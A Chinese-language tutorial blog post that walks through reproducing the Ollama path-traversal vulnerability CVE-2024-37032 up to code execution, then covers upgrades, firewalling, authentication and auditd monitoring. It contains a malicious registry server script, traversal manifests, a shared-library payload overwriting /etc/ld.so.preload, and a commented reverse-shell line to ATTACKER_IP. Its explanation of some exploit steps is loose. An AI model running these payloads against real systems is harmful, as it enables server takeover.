Ollama CVE-2024-37032漏洞深度实战:从环境搭建到RCE利用全解析

最近在本地测试大模型时,偶然发现Ollama这个工具在安全圈里引起了不小的波澜。一个编号为CVE-2024-37032的漏洞,让这个原本用于简化AI模型部署的开源项目,成为了攻击者可能远程控制服务器的入口。对于安全研究人员和渗透测试工程师来说,理解这类漏洞的成因、复现过程以及防御方法,是提升实战能力的重要途径。今天,我就结合自己的测试经验,带你一步步搭建环境、分析原理,并亲手复现这个高危漏洞。

1. 漏洞背景与环境准备

Ollama本质上是一个让开发者能够轻松在本地运行大型语言模型(如Llama、Mistral等)的工具。它通过Docker容器化的方式,将复杂的模型依赖和运行环境打包,用户只需几条命令就能启动一个AI对话服务。然而,正是这种便捷性,在安全设计上埋下了隐患。

在0.1.34之前的版本中,Ollama的API服务器存在路径遍历漏洞。简单来说,攻击者可以通过构造特殊的请求,让服务器将文件写入到任意目录,进而实现远程代码执行。这个漏洞的CVSS评分高达9.1,属于严重级别。

注意:本文所有操作均在授权的测试环境中进行,严禁用于任何非法目的。漏洞复现的目的是为了提升安全防护能力,请务必遵守法律法规。

1.1 搭建受影响的Ollama环境

要复现漏洞,首先需要搭建一个存在漏洞的Ollama环境。最方便的方式就是使用Docker。我推荐使用0.1.33版本,这是受影响的典型版本之一。

# 创建一个用于持久化存储的Docker卷
docker volume create ollama_data

# 运行存在漏洞的Ollama容器
docker run -d \
  --name vulnerable_ollama \
  -v ollama_data:/root/.ollama \
  -p 11434:11434 \
  ollama/ollama:0.1.33

# 验证容器是否正常运行
docker ps | grep ollama

运行成功后,你可以通过访问 http://localhost:11434 来确认服务是否启动。正常情况下,你会看到一个简单的API响应页面。

这里有几个关键参数需要理解:

  • -v ollama_data:/root/.ollama:将容器内的模型存储目录挂载到宿主机,这样即使容器重启,已下载的模型也不会丢失。
  • -p 11434:11434:将容器的11434端口映射到宿主机的相同端口,这是Ollama API的默认端口。

1.2 环境配置检查与工具准备

在开始漏洞利用之前,我们需要确保测试环境配置正确,并准备好必要的工具。

Python环境要求:

  • Python 3.7或更高版本
  • 安装FastAPI和uvicorn库(用于搭建恶意注册表服务器)
  • 安装requests库(用于发送HTTP请求)
# 安装必要的Python包
pip install fastapi uvicorn requests

# 验证安装
python -c "import fastapi; import uvicorn; import requests; print('环境准备就绪')"

网络配置检查: 由于漏洞利用涉及容器间通信,需要确保Docker网络配置允许容器访问宿主机的服务。在默认的Docker桥接网络模式下,容器可以通过宿主机的IP地址访问宿主机上运行的服务。

# 获取宿主机的Docker网络IP(在容器内部访问宿主机时使用)
# 在Linux/macOS上:
host_ip=$(ip route | grep default | awk '{print $3}')
echo "宿主机在Docker网络中的IP: $host_ip"

# 在Windows上(PowerShell):
# $host_ip = (Get-NetIPConfiguration | Where-Object { $_.IPv4DefaultGateway -ne $null }).IPv4Address.IPAddress

2. 漏洞原理深度剖析

要真正理解CVE-2024-37032,我们需要深入Ollama的架构设计。Ollama支持从私有注册表拉取AI模型,这个功能原本是为了方便企业部署内部模型,但却成了漏洞的根源。

2.1 API端点安全缺陷

Ollama提供了多个API端点,其中 /api/pull 用于从注册表下载模型。当从私有注册表拉取模型时,Ollama会获取一个清单文件(manifest),这个文件描述了模型的元数据和存储位置。

问题出在清单文件的digest字段处理上。这个字段本应包含文件的哈希值,但Ollama的代码没有对其进行严格的路径验证。攻击者可以在digest字段中注入路径遍历序列(如../../../../etc/passwd),诱使服务器将文件写入或读取到预期目录之外的位置。

让我们看看漏洞的核心代码逻辑(基于公开的分析):

// 简化版的漏洞代码示意
func processManifest(manifest ModelManifest) error {
    for _, layer := range manifest.Layers {
        // 这里缺少对digest字段的路径遍历检查
        filePath := filepath.Join(baseDir, layer.Digest)
        
        // 如果layer.Digest包含"../",filePath可能指向baseDir之外的目录
        err := ioutil.WriteFile(filePath, layer.Data, 0644)
        if err != nil {
            return err
        }
    }
    return nil
}

2.2 路径遍历到RCE的转化

单纯的路径遍历可能只能实现文件读取或覆盖,但结合Docker容器的特性,这个漏洞可以升级为完整的远程代码执行。关键点在于/etc/ld.so.preload文件。

在Linux系统中,/etc/ld.so.preload文件指定了在程序启动时需要预加载的共享库。如果攻击者能够覆盖这个文件,并指向一个恶意共享库,那么任何新启动的进程都会自动加载这个恶意库,从而执行攻击者的代码。

攻击链可以概括为:

  1. 任意文件写入:通过恶意清单文件的digest字段,将文件写入到任意位置
  2. 写入恶意共享库:创建一个包含攻击代码的共享库文件(如/tmp/evil.so)
  3. 篡改预加载配置:覆盖/etc/ld.so.preload,添加恶意共享库路径
  4. 触发新进程:通过Ollama的API触发新进程启动(如/api/chat端点)
  5. 代码执行:新进程自动加载恶意共享库,执行攻击代码

2.3 影响范围与利用条件

为了帮助你快速评估风险,我整理了漏洞利用的关键条件:

利用条件说明默认配置下的情况
Ollama版本低于0.1.340.1.33及以下版本均受影响
API访问权限能够访问Ollama API端点Docker部署默认暴露11434端口
注册表控制能够控制模型注册表响应攻击者可以搭建恶意注册表
文件写入权限能够写入系统关键文件Docker容器默认以root运行

从表格可以看出,在默认的Docker部署中,所有条件都满足,这使得漏洞的利用门槛相对较低。

3. 漏洞复现实战步骤

现在让我们进入实战环节。我将分步骤演示如何复现这个漏洞,从文件读取到最终的远程代码执行。

3.1 搭建恶意注册表服务器

首先,我们需要搭建一个恶意的模型注册表服务器,用于响应Ollama的拉取请求。这个服务器会返回包含路径遍历payload的清单文件。

# malicious_registry.py
from fastapi import FastAPI, Request, Response
import uvicorn

app = FastAPI()
PATH_TRAVERSAL_PREFIX = "../" * 14  # 足够的../以跳出限制目录

@app.get("/v2/test/manifests/latest")
async def get_manifest():
    """返回包含路径遍历payload的恶意清单"""
    return {
        "schemaVersion": 2,
        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
        "config": {
            "mediaType": "application/vnd.docker.container.image.v1+json",
            "digest": f"{PATH_TRAVERSAL_PREFIX}etc/passwd",  # 路径遍历payload
            "size": 10
        },
        "layers": [
            {
                "mediaType": "application/vnd.ollama.image.license",
                "digest": f"{PATH_TRAVERSAL_PREFIX}tmp/notfound",
                "size": 10
            }
        ]
    }

@app.get("/{path:path}")
async def catch_all(path: str):
    """处理其他请求"""
    return {"error": "Not found"}

if __name__ == "__main__":
    # 启动恶意注册表服务器
    uvicorn.run(app, host="0.0.0.0", port=8080)

保存这个文件并运行:

python malicious_registry.py

服务器将在8080端口监听,等待Ollama的请求。

3.2 利用路径遍历读取任意文件

现在,我们让Ollama从我们的恶意注册表拉取"模型",实际上触发文件读取漏洞。

# 向存在漏洞的Ollama实例发送拉取请求
curl -X POST http://localhost:11434/api/pull \
  -H "Content-Type: application/json" \
  -d '{
    "name": "192.168.1.100:8080/test/model:latest",
    "insecure": true
  }'

注意将192.168.1.100替换为你的恶意注册表服务器的实际IP地址。insecure: true参数是必要的,因为我们使用的是自签名的HTTP服务。

这个请求会触发Ollama从我们的恶意注册表拉取模型。注册表返回的清单文件中,digest字段包含了路径遍历序列,指向/etc/passwd文件。Ollama在处理这个清单时,会尝试读取该文件的内容。

要验证文件是否被成功读取,我们需要检查恶意注册表服务器的日志。当Ollama尝试获取文件内容时,我们的服务器会收到请求,这时可以记录或显示文件内容。

3.3 实现任意文件写入

文件读取只是第一步,更危险的是文件写入。通过修改恶意清单,我们可以让Ollama将数据写入到任意位置。

# 修改恶意清单,实现文件写入
malicious_manifest = {
    "schemaVersion": 2,
    "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
    "config": {
        "mediaType": "application/vnd.docker.container.image.v1+json",
        "digest": f"{PATH_TRAVERSAL_PREFIX}tmp/test_write",  # 写入到/tmp/test_write
        "size": 10
    },
    "layers": [
        {
            "mediaType": "application/vnd.ollama.image.license",
            "digest": f"{PATH_TRAVERSAL_PREFIX}tmp/test_write",
            "size": 10,
            "data": "这是写入的测试内容"  # 实际利用中,这里可以是二进制数据
        }
    ]
}

在实际利用中,我们需要通过/api/push端点将恶意模型推送到Ollama,触发文件写入。这个过程比文件读取稍微复杂,需要模拟完整的注册表交互流程。

3.4 升级到远程代码执行

要实现真正的远程代码执行,我们需要完成以下步骤:

步骤1:创建恶意共享库

首先,编写一个简单的恶意共享库。这个库将在被加载时执行我们的代码。

// evil.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init() {
    // 这个函数会在库被加载时自动执行
    system("touch /tmp/pwned_success");  // 创建标记文件,证明代码已执行
    
    // 在实际攻击中,这里可以执行反弹shell等操作
    // system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'");
}

编译这个共享库:

gcc -shared -fPIC -o evil.so evil.c

步骤2:将共享库写入目标系统

通过漏洞将编译好的共享库写入到目标系统的可访问位置,比如/tmp/evil.so。

步骤3:覆盖/etc/ld.so.preload

再次利用文件写入漏洞,修改/etc/ld.so.preload文件,添加我们的恶意共享库路径:

/tmp/evil.so

步骤4:触发新进程

通过Ollama的API触发一个新进程的启动。最简单的方法是调用/api/chat端点:

curl -X POST http://localhost:11434/api/chat \
  -H "Content-Type: application/json" \
  -d '{
    "model": "llama2",
    "messages": [
      {"role": "user", "content": "Hello"}
    ]
  }'

如果一切顺利,新启动的进程会加载/tmp/evil.so,执行我们的恶意代码。你可以检查/tmp/pwned_success文件是否被创建来验证攻击是否成功。

重要提示:在实际测试中,由于Docker容器的隔离性,可能需要根据具体的容器配置调整攻击路径。有些容器可能限制了某些系统调用的使用。

4. 自动化利用工具解析

手动复现虽然有助于理解漏洞原理,但在实际测试中,我们更倾向于使用自动化工具。GitHub上已经有一些公开的PoC代码,让我们分析其中一个典型的实现。

4.1 工具架构分析

一个完整的利用工具通常包含以下组件:

  1. 恶意注册表服务器:模拟Ollama私有注册表,响应拉取和推送请求
  2. 路径遍历payload生成器:构造包含../序列的digest字段
  3. 文件内容提取器:从服务器响应中提取读取到的文件内容
  4. RCE payload部署器:自动化部署恶意共享库和修改preload文件

工具的工作流程如下:

# 简化的自动化利用流程
def exploit(target_ip, attacker_ip, file_to_read):
    # 1. 启动恶意注册表
    start_malicious_registry(attacker_ip)
    
    # 2. 发送拉取请求,触发文件读取
    pull_response = send_pull_request(target_ip, attacker_ip, file_to_read)
    
    # 3. 解析响应,提取文件内容
    file_content = extract_file_content(pull_response)
    
    # 4. 如果需要RCE,部署恶意共享库
    if enable_rce:
        deploy_malicious_library(target_ip, attacker_ip)
        modify_preload_file(target_ip)
        trigger_new_process(target_ip)
    
    return file_content

4.2 关键代码片段解析

让我们看看实际PoC中的一些关键实现:

def generate_path_traversal_payload(target_file, depth=14):
    """生成路径遍历payload"""
    # 计算需要多少层../才能跳出限制目录
    traversal = "../" * depth
    return f"{traversal}{target_file.lstrip('/')}"

def create_malicious_manifest(target_file, attacker_ip):
    """创建恶意清单文件"""
    payload = generate_path_traversal_payload(target_file)
    
    return {
        "schemaVersion": 2,
        "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
        "config": {
            "mediaType": "application/vnd.docker.container.image.v1+json",
            "digest": payload,
            "size": 1024
        },
        "layers": [
            {
                "mediaType": "application/vnd.ollama.image.license",
                "digest": payload,
                "size": 1024
            }
        ]
    }

这个函数创建了一个包含路径遍历payload的清单文件。当Ollama处理这个清单时,会尝试访问digest字段指定的文件路径。

4.3 使用现有PoC的注意事项

如果你选择使用GitHub上现有的PoC工具,有几个重要事项需要注意:

  1. 环境适配:确保工具与你的测试环境兼容,特别是网络配置和Python版本
  2. 参数调整:根据目标Ollama的部署方式调整参数,如端口号、IP地址等
  3. 错误处理:添加适当的错误处理和日志记录,便于调试
  4. 安全考虑:在隔离的测试环境中运行,避免意外影响生产系统

我建议在使用任何自动化工具前,先阅读其源代码,理解每一步的操作,这样在遇到问题时能够快速定位和解决。

5. 防御措施与安全建议

复现漏洞的目的是为了更好地防御。在理解了攻击原理后,让我们看看如何保护Ollama实例免受此类攻击。

5.1 立即修复措施

升级到安全版本: 这是最直接有效的解决方法。Ollama在0.1.34版本中修复了此漏洞。

# 升级Ollama到最新版本
# 如果使用Docker:
docker pull ollama/ollama:latest
docker stop ollama
docker rm ollama
docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:latest

# 如果直接安装:
# 参考官方文档:https://github.com/ollama/ollama

网络访问控制: 如果暂时无法升级,可以通过网络层进行防护。

# 使用防火墙限制访问
# 只允许本地访问(Linux iptables示例)
iptables -A INPUT -p tcp --dport 11434 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 11434 -j DROP

# 或使用Docker网络配置
docker network create ollama_private
docker run -d --network ollama_private -p 127.0.0.1:11434:11434 ollama/ollama:0.1.33

5.2 长期安全加固策略

实施身份验证: Ollama默认不启用身份验证,这是很大的安全风险。可以通过反向代理添加认证层。

# Nginx配置示例(添加基本认证)
server {
    listen 11435;
    server_name localhost;
    
    location / {
        proxy_pass http://localhost:11434;
        
        # 添加基本认证
        auth_basic "Ollama API";
        auth_basic_user_file /etc/nginx/.htpasswd;
        
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
    }
}

最小权限原则: 不要以root权限运行Ollama服务。

# 自定义Dockerfile,以非root用户运行
FROM ollama/ollama:latest

# 创建非root用户
RUN adduser --disabled-password --gecos '' ollamauser

# 更改文件权限
RUN chown -R ollamauser:ollamauser /root/.ollama

# 切换到非root用户
USER ollamauser

CMD ["ollama", "serve"]

安全监控与审计: 建立监控机制,及时发现异常行为。

# 监控Ollama日志中的异常请求
tail -f /var/log/ollama.log | grep -E "(\.\./|%2e%2e%2f|pull.*insecure)"

# 使用auditd监控关键文件访问
auditctl -w /etc/ld.so.preload -p wa -k ollama_preload
auditctl -w /root/.ollama/models -p wa -k ollama_models

5.3 安全配置检查清单

为了帮助你全面评估Ollama部署的安全性,我整理了一个检查清单:

检查项安全配置检查方法
版本安全使用0.1.34或更高版本ollama --version
网络暴露API不直接暴露到公网检查防火墙规则
身份验证启用API认证测试未授权访问
运行权限不以root运行ps aux | grep ollama
文件权限关键文件权限适当ls -la /etc/ld.so.preload
日志监控启用详细日志并监控检查日志文件
注册表信任只信任可信注册表检查配置文件中registry设置
模型来源只使用可信模型审查已下载模型列表

定期运行这个检查清单,可以大大降低安全风险。

6. 漏洞研究的方法论思考

通过这次CVE-2024-37032的复现,我总结了一些漏洞研究的方法,希望对你有帮助。

从攻击者视角思考: 理解漏洞的第一步是站在攻击者的角度。问自己:如果我要攻击这个系统,我会关注哪些入口点?哪些功能可能处理用户可控的输入?在Ollama的例子中,从私有注册表拉取模型这个功能点,就是需要重点关注的对象。

深入代码审计: 公开的漏洞描述往往只给出结论,真正的理解需要阅读代码。对于开源项目,直接查看GitHub上的源代码是学习的最佳途径。关注:

  • 输入验证逻辑
  • 文件操作函数的使用
  • 权限检查机制
  • 错误处理方式

构建测试环境: 一个可控的测试环境是漏洞研究的基石。Docker在这方面提供了极大便利,可以快速搭建、重置测试环境。我习惯为每个重要的测试创建独立的环境:

# 创建测试环境脚本
#!/bin/bash
# setup_test_env.sh

# 清理旧环境
docker rm -f vulnerable_ollama 2>/dev/null
docker volume rm ollama_data 2>/dev/null

# 创建新环境
docker volume create ollama_data
docker run -d --name vulnerable_ollama \
  -v ollama_data:/root/.ollama \
  -p 11434:11434 \
  ollama/ollama:0.1.33

echo "测试环境已就绪,Ollama运行在 http://localhost:11434"

记录与分析: 详细记录测试过程,包括:

  • 测试的输入和输出
  • 观察到的现象
  • 遇到的问题和解决方法
  • 时间线和关键发现

这些记录不仅有助于复现和验证,也是编写报告和分享经验的基础。

负责任披露: 如果你发现了新的漏洞,遵循负责任的披露流程:

  1. 确认漏洞的可复现性
  2. 准备详细的技术报告
  3. 联系厂商或通过适当渠道报告
  4. 给予合理的修复时间
  5. 在修复后或约定时间后公开细节

这种工作方式让我在复现CVE-2024-37032时少走了很多弯路。每次深入分析一个漏洞,不仅提升了技术能力,也加深了对系统安全设计的理解。安全研究是一场攻防的博弈,只有真正理解攻击者的思维和方法,才能构建更坚固的防御。

更多推荐